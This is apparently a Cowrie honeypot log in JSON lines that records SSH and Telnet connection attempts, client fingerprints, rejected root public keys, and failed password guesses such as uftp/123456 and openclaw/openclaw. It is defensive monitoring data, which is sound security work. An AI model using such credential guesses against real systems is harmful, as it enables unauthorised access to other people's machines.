{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34296,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc9f0e27a22d","protocol":"ssh","message":"New connection: 176.65.132.129:34296 (159.203.135.109:22) [session: fc9f0e27a22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:16.652909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:16.658470Z","src_ip":"176.65.132.129","session":"fc9f0e27a22d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:16.741599Z","src_ip":"176.65.132.129","session":"fc9f0e27a22d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:16.989964Z","src_ip":"176.65.132.129","session":"fc9f0e27a22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:18.076503Z","src_ip":"176.65.132.129","session":"fc9f0e27a22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":9596,"dst_ip":"10.17.0.5","dst_port":22,"session":"6daf38c1ab35","protocol":"ssh","message":"New connection: 23.131.184.100:9596 (10.17.0.5:22) [session: 6daf38c1ab35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.614353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.619530Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.662682Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34298,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a195cbda73","protocol":"ssh","message":"New connection: 176.65.132.129:34298 (159.203.135.109:22) [session: 59a195cbda73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.790224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.795894Z","src_ip":"176.65.132.129","session":"59a195cbda73","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:4b:1e:92:86:e7:db:19:39:a8:d0:99:0f:70:11:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNlkOQ8JV81qeqS769I9ivnj67qmPyXuvXLR5gEzriaTtgEuW6/hUo0tLOVbjAv332mqpYPNfV/29HELLgPyrN0i+bUr8JOnxfzaGFjKFzbw5IaVp0TL9qyjOJgRxHkk+sj/behQg3fPdYCCd/H/LDI5lXAyfRTPqRVjlrdewRfsKwZPF1B2IclzOB6yLmbkqqBJPh9dPyoaH5c1ORiBZjL67SzsJGSExy4CjjDUej2nEwbkFb66P3ae/YyMdxu8KQTLfR7WBXtG/XD3QT35xJW6Qso/wmXSrgfvkuK+B8GjehupV808yDJCJRK73Ag8E7AzY4WcMKesn7aiMBTLv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:4b:1e:92:86:e7:db:19:39:a8:d0:99:0f:70:11:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.839265Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:4b:1e:92:86:e7:db:19:39:a8:d0:99:0f:70:11:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNlkOQ8JV81qeqS769I9ivnj67qmPyXuvXLR5gEzriaTtgEuW6/hUo0tLOVbjAv332mqpYPNfV/29HELLgPyrN0i+bUr8JOnxfzaGFjKFzbw5IaVp0TL9qyjOJgRxHkk+sj/behQg3fPdYCCd/H/LDI5lXAyfRTPqRVjlrdewRfsKwZPF1B2IclzOB6yLmbkqqBJPh9dPyoaH5c1ORiBZjL67SzsJGSExy4CjjDUej2nEwbkFb66P3ae/YyMdxu8KQTLfR7WBXtG/XD3QT35xJW6Qso/wmXSrgfvkuK+B8GjehupV808yDJCJRK73Ag8E7AzY4WcMKesn7aiMBTLv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.843178Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:8e:6a:57:32:1e:24:18:1b:8a:04:3a:de:87:7d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6C13Ko6LR5qn5y1FzaMApMen9dv48LtncLyTyR9WodBkzvMl2AJv6OKwudIWedCo2zmzMLqNdNvL+CT6hQr9ksMK94/glfY8ftGC9JVv5igO80yClpbc3r1613dY0eone01gQ/d7t9djMvMFG2OemJgg7ebhM5NY/SqJml1Qlx54enA0ultCErm/2T+MUnG+eBPJ1DfsQ7FzKPghcfkP4mggFYdkuWekfNBk3POaXWRY23sU+TWRhThakDNdU0UJWern0okQLOgaRe/RF33vNJgkHRa0M+eoRtqf3uMAUxQPJ/4LxDDeD5+OHaoIyvFLwq2oPuKpjuVlPz6c0s4tfqKESOkmKDn2B+r0fDkbYXOUWq/Qhi50SsnCxSIlbPdYoNbl7PM0V1yzr8sYr3Tu0yHufV4v3gZ568Gr7nL9n7QGG5puvIcYa2ZckHsLIyTvwvOgR8EQtytostzL9DaWf5QqHiIOeoqDLKSJ3HXjmz4qh1ubskiOe8PCZR/MKjlAmjKv0sTAflZ332WH9TR6kq3vR8u7JBce9LrPs06ibJ7/Z/ejG6O6ydLaZeTMo7VSpFVKTM+MlwVaX6Sf29c65aSuCutiwJ7QwsN5BpeM59M8NHmxiN/hKjApZV48FapH8PRmmZWjyGACMt7599IIbSsoXf2ceVsX5LqEG9amAUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:8e:6a:57:32:1e:24:18:1b:8a:04:3a:de:87:7d:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.885177Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:8e:6a:57:32:1e:24:18:1b:8a:04:3a:de:87:7d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6C13Ko6LR5qn5y1FzaMApMen9dv48LtncLyTyR9WodBkzvMl2AJv6OKwudIWedCo2zmzMLqNdNvL+CT6hQr9ksMK94/glfY8ftGC9JVv5igO80yClpbc3r1613dY0eone01gQ/d7t9djMvMFG2OemJgg7ebhM5NY/SqJml1Qlx54enA0ultCErm/2T+MUnG+eBPJ1DfsQ7FzKPghcfkP4mggFYdkuWekfNBk3POaXWRY23sU+TWRhThakDNdU0UJWern0okQLOgaRe/RF33vNJgkHRa0M+eoRtqf3uMAUxQPJ/4LxDDeD5+OHaoIyvFLwq2oPuKpjuVlPz6c0s4tfqKESOkmKDn2B+r0fDkbYXOUWq/Qhi50SsnCxSIlbPdYoNbl7PM0V1yzr8sYr3Tu0yHufV4v3gZ568Gr7nL9n7QGG5puvIcYa2ZckHsLIyTvwvOgR8EQtytostzL9DaWf5QqHiIOeoqDLKSJ3HXjmz4qh1ubskiOe8PCZR/MKjlAmjKv0sTAflZ332WH9TR6kq3vR8u7JBce9LrPs06ibJ7/Z/ejG6O6ydLaZeTMo7VSpFVKTM+MlwVaX6Sf29c65aSuCutiwJ7QwsN5BpeM59M8NHmxiN/hKjApZV48FapH8PRmmZWjyGACMt7599IIbSsoXf2ceVsX5LqEG9amAUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.889386Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:2e:e3:a8:c5:6f:e4:1b:a1:00:e2:e0:41:03:84:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqrTusfbeYGxk0vL3oRZ+HsgLiCGCFk0SLpc2k5N8XgMEpW4P+QCHDuEBpa927od9cVtFPUurG+DfCDkVutwvf0CNdX2VncHI4Wg7VN/cAf3lxd+T7StHhN4sDXXj+nJKBuY8Irjiv+9RakGus/2G0XNqKM7VI0UDsS1QoGepJPNqDd2RZ+5BWJhLZwhXSwhxK23P2fFa8uIi26Od8n9bYlOhBn9p2U4GgYJQTZJSLJn0YzCD7IXgWR+cg14hNlEd4bEdXlymKZSV7EtwLEn0hoOg/yP3VFlYpepd8ObJIPvOdbMHmC7y69UXEFNWLzDmu7E5jdrxl2hb1u+m408isDMPnvR+8OVX29fr2hMDyn4K/55IVfEkWoQErZm+sF0PT3hgz3xqM4+WFT9PbW4XCBQAiE8Vc9K+Vv5fbTT6ToV4CNPNwP8nuZpFAdlDwJnT8Xb/aLzAKFAuDARpILS7/0WjpRJ4AuB9l89Xuakkwq/Dae3jouHocva5DEPPogh+C9nyc4GtjJWMC//mAkP2Wt0+JehC4RWFiv7ExvUGRyuqcUYST4V/ZJWzLXOjGGwkGD+uya/bpePIcZ3iawY014I+BmI7YISMI/7wYTa4H1I+6UwM8r+qljiyhNE2cx3k9Pc9Ns64VzcWXUVgzALTgy0UMNXXpqLLrKRPp0I7FQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:2e:e3:a8:c5:6f:e4:1b:a1:00:e2:e0:41:03:84:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.929613Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:2e:e3:a8:c5:6f:e4:1b:a1:00:e2:e0:41:03:84:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqrTusfbeYGxk0vL3oRZ+HsgLiCGCFk0SLpc2k5N8XgMEpW4P+QCHDuEBpa927od9cVtFPUurG+DfCDkVutwvf0CNdX2VncHI4Wg7VN/cAf3lxd+T7StHhN4sDXXj+nJKBuY8Irjiv+9RakGus/2G0XNqKM7VI0UDsS1QoGepJPNqDd2RZ+5BWJhLZwhXSwhxK23P2fFa8uIi26Od8n9bYlOhBn9p2U4GgYJQTZJSLJn0YzCD7IXgWR+cg14hNlEd4bEdXlymKZSV7EtwLEn0hoOg/yP3VFlYpepd8ObJIPvOdbMHmC7y69UXEFNWLzDmu7E5jdrxl2hb1u+m408isDMPnvR+8OVX29fr2hMDyn4K/55IVfEkWoQErZm+sF0PT3hgz3xqM4+WFT9PbW4XCBQAiE8Vc9K+Vv5fbTT6ToV4CNPNwP8nuZpFAdlDwJnT8Xb/aLzAKFAuDARpILS7/0WjpRJ4AuB9l89Xuakkwq/Dae3jouHocva5DEPPogh+C9nyc4GtjJWMC//mAkP2Wt0+JehC4RWFiv7ExvUGRyuqcUYST4V/ZJWzLXOjGGwkGD+uya/bpePIcZ3iawY014I+BmI7YISMI/7wYTa4H1I+6UwM8r+qljiyhNE2cx3k9Pc9Ns64VzcWXUVgzALTgy0UMNXXpqLLrKRPp0I7FQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.933884Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:68:18:c1:02:46:f4:7f:c7:01:4c:8d:24:c4:e1:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOTomif9twWeSjKs9UJLRhSVgTIRExC4FnStd7dFXdTe","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d8:68:18:c1:02:46:f4:7f:c7:01:4c:8d:24:c4:e1:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.976364Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:68:18:c1:02:46:f4:7f:c7:01:4c:8d:24:c4:e1:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOTomif9twWeSjKs9UJLRhSVgTIRExC4FnStd7dFXdTe","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.980715Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:19.986485Z","src_ip":"176.65.132.129","session":"59a195cbda73","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:c2:22:32:e9:0d:bc:b0:08:de:d6:28:2d:27:99:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOt+xmStIv9j25lofjynrxE4oQnllMnvXOvyTN8IuGSpDcdE5wFEV24nBzjWEfYQzKemDoo/FlQz7KonGJYjVS7AA/KgDhX1+COyJsNOD5IRfNdiL13CJzrcxp74/rsdq3sttCkrnyQ3/sX0lMBHeisbG9YIC3Rb8Wl9Fp2q8ufHltV9j6cV1FAZNRlj8uCstslfhMNzTADMWPDFItuUkPuD5Y0Xiun2fxwsjlSgs715/Hfsu0TJULKf4+zg2UUZTlwQkY1RSnhGFhcuD9snw8y4XxWG0bYif3ZHyQLXDpHI/oZkSzG1DAlTZ7wb84lODlElJWdlXvdqv+j6mEsDNl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:c2:22:32:e9:0d:bc:b0:08:de:d6:28:2d:27:99:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:20.020781Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:c2:22:32:e9:0d:bc:b0:08:de:d6:28:2d:27:99:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOt+xmStIv9j25lofjynrxE4oQnllMnvXOvyTN8IuGSpDcdE5wFEV24nBzjWEfYQzKemDoo/FlQz7KonGJYjVS7AA/KgDhX1+COyJsNOD5IRfNdiL13CJzrcxp74/rsdq3sttCkrnyQ3/sX0lMBHeisbG9YIC3Rb8Wl9Fp2q8ufHltV9j6cV1FAZNRlj8uCstslfhMNzTADMWPDFItuUkPuD5Y0Xiun2fxwsjlSgs715/Hfsu0TJULKf4+zg2UUZTlwQkY1RSnhGFhcuD9snw8y4XxWG0bYif3ZHyQLXDpHI/oZkSzG1DAlTZ7wb84lODlElJWdlXvdqv+j6mEsDNl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:20.025418Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:20.068833Z","src_ip":"23.131.184.100","session":"6daf38c1ab35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:20.356125Z","src_ip":"176.65.132.129","session":"59a195cbda73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:21.441097Z","src_ip":"176.65.132.129","session":"59a195cbda73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.89690828323364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:22.286089Z","src_ip":"152.42.224.71","session":"63611c68f44a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.54510164260864,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:22.402672Z","src_ip":"152.42.224.71","session":"fcf7ec19927b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34308,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a2ceb6f38f","protocol":"ssh","message":"New connection: 176.65.132.129:34308 (159.203.135.109:22) [session: 59a2ceb6f38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:23.108670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:23.113341Z","src_ip":"176.65.132.129","session":"59a2ceb6f38f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:23.200333Z","src_ip":"176.65.132.129","session":"59a2ceb6f38f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49298,"dst_ip":"10.17.0.5","dst_port":23,"session":"58d4b53d1680","protocol":"telnet","message":"New connection: 152.42.224.71:49298 (10.17.0.5:23) [session: 58d4b53d1680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:23.237365Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:23.447248Z","src_ip":"176.65.132.129","session":"59a2ceb6f38f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.44227981567383,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:24.458863Z","src_ip":"152.42.224.71","session":"e073fe913acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:24.595662Z","src_ip":"176.65.132.129","session":"59a2ceb6f38f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45936,"dst_ip":"159.203.135.109","dst_port":22,"session":"8af599514c2a","protocol":"ssh","message":"New connection: 176.65.132.129:45936 (159.203.135.109:22) [session: 8af599514c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:26.177798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:26.182862Z","src_ip":"176.65.132.129","session":"8af599514c2a","protocol":"ssh"}
